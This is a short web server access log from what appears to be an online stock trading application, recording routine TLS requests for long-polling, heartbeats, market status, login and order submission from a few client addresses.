[09/Jan/2026:14:31:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940530860 HTTP/1.1" -
[09/Jan/2026:14:31:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:14:31:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:31:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:31:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940550530 HTTP/1.1" -
[09/Jan/2026:14:31:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940535676 HTTP/1.1" -
[09/Jan/2026:14:31:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:31:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940542231 HTTP/1.1" -
[09/Jan/2026:14:31:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940536039 HTTP/1.1" -
[09/Jan/2026:14:31:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:31:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:31:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_888888_256x240.png HTTP/1.1" 6999
[09/Jan/2026:14:31:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940555594 HTTP/1.1" -
[09/Jan/2026:14:31:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-icons_454545_256x240.png HTTP/1.1" 6992
[09/Jan/2026:14:31:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940540697 HTTP/1.1" -
[09/Jan/2026:14:31:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940547300 HTTP/1.1" -
[09/Jan/2026:14:31:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940541170 HTTP/1.1" -
[09/Jan/2026:14:31:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940560660 HTTP/1.1" -
[09/Jan/2026:14:31:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940545721 HTTP/1.1" -
[09/Jan/2026:14:31:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940552385 HTTP/1.1" -
[09/Jan/2026:14:31:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940546234 HTTP/1.1" -
[09/Jan/2026:14:31:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:31:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:31:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1226
[09/Jan/2026:14:31:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940565717 HTTP/1.1" -
[09/Jan/2026:14:31:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940550756 HTTP/1.1" -
[09/Jan/2026:14:31:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:31:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:31:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:31:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940557450 HTTP/1.1" -
[09/Jan/2026:14:31:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940551398 HTTP/1.1" -
[09/Jan/2026:14:31:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:14:31:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:31:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=619861B8C8D9FA72EC28DE534924D618 HTTP/1.1" 1020
[09/Jan/2026:14:31:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/buy_ticket.html? HTTP/1.1" 1996
[09/Jan/2026:14:31:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:31:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:31:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940570777 HTTP/1.1" -
[09/Jan/2026:14:31:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:31:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1380
[09/Jan/2026:14:31:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940555778 HTTP/1.1" -
[09/Jan/2026:14:31:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940562479 HTTP/1.1" -
[09/Jan/2026:14:31:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940556542 HTTP/1.1" -
[09/Jan/2026:14:31:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940575810 HTTP/1.1" -
[09/Jan/2026:14:31:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940560802 HTTP/1.1" -
[09/Jan/2026:14:31:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940567570 HTTP/1.1" -
[09/Jan/2026:14:31:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940561703 HTTP/1.1" -
[09/Jan/2026:14:31:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:31:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940580873 HTTP/1.1" -
[09/Jan/2026:14:31:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940565838 HTTP/1.1" -
[09/Jan/2026:14:31:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:31:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940572638 HTTP/1.1" -
[09/Jan/2026:14:31:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:31:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940566921 HTTP/1.1" -
[09/Jan/2026:14:31:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:31:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940585946 HTTP/1.1" -
[09/Jan/2026:14:31:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940570874 HTTP/1.1" -
[09/Jan/2026:14:31:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940577669 HTTP/1.1" -
[09/Jan/2026:14:31:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940571974 HTTP/1.1" -
[09/Jan/2026:14:31:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940591002 HTTP/1.1" -
[09/Jan/2026:14:31:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940575906 HTTP/1.1" -
[09/Jan/2026:14:31:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940582768 HTTP/1.1" -
[09/Jan/2026:14:31:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940577023 HTTP/1.1" -
[09/Jan/2026:14:31:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940596028 HTTP/1.1" -
[09/Jan/2026:14:31:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:31:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:31:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940580929 HTTP/1.1" -
[09/Jan/2026:14:31:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:31:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940587842 HTTP/1.1" -
[09/Jan/2026:14:31:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940582160 HTTP/1.1" -
[09/Jan/2026:14:31:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:31:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:31:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940601186 HTTP/1.1" -
[09/Jan/2026:14:31:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940585969 HTTP/1.1" -
[09/Jan/2026:14:31:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940592874 HTTP/1.1" -
[09/Jan/2026:14:31:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940587300 HTTP/1.1" -
[09/Jan/2026:14:32:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940590988 HTTP/1.1" -
[09/Jan/2026:14:32:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940607188 HTTP/1.1" -
[09/Jan/2026:14:32:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940597971 HTTP/1.1" -
